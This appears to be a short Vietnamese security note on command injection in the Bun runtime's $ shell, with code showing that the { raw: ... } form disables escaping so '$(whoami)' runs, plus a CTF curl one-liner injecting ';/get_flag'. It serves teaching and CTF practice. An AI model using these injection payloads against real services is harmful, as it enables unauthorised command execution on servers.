# Bun $ Shell Command Injection Bun Shell cho phép chúng ta chạy shell command sử dụng cú pháp template literal (``). Nó giống như bash, hỗ trợ redirection, pipe, globbing, v.v. Mặc định Bun Shell sẽ escape tất cả strings. Tuy nhiên, nếu dữ liệu đầu vào không được kiểm soát chặt chẽ, lỗ hổng Command Injection có thể xảy ra. ## Escape Strings Ở ví dụ bên dưới, giá trị của `username` được đưa vào template literal (``) để thực thị lệnh `echo`. Nếu chúng ta thực hiện khai thác Command Injection ở `username` sẽ không thể thành công do Bun Shell tự động escape các ký tự nguy hiểm: ```js import { $ } from "bun"; let username = "$(whoami)"; async function execute() { const result = await $`echo Hello, ${username}`; result.text(); } execute(); ``` ```bash $ bun main.js Hello, $(whoami) ``` ## Without Escape Strings Nếu không muốn bị escape, chúng ta sẽ sử dụng cú pháp `{ raw: 'str' }` trong template literal. - Trường hợp `username` là string, được truyền vào với dạng `${{ raw: username }}`: ```js import { $ } from "bun"; let username = "$(whoami)"; async function execute() { const result = await $`echo Hello, ${{ raw: username }}`; result.text(); } execute(); ``` - Trường hợp `username` là object, được truyền vào với dạng `${username}`: ```js import { $ } from "bun"; let username = { raw: "$(whoami)", }; async function execute() { const result = await $`echo Hello, ${username}`; result.text(); } execute(); ``` Kết quả thực thi đều giống nhau ở cả 2 trường hợp, lệnh `whoami` đã thực thi thành công: ```bash $ bun main.js Hello, nartgnourt ``` ## CTF Challenges - [man](https://github.com/nartgnourt/ctf-archive/blob/main/2025/nns-ctf-2025/man.tar.gz) - NNS CTF 2025 ```bash $ curl -s https://531c1a3c-2c12-48ad-a6f6-3ef92ee4445c.chall.nnsc.tf/man -H "Content-Type: application/json" -d '{"program": {"raw":";/get_flag"}}' | jq ``` ## References - https://bun.sh/docs/runtime/shell - https://book.jorianwoltjer.com/web/frameworks/bun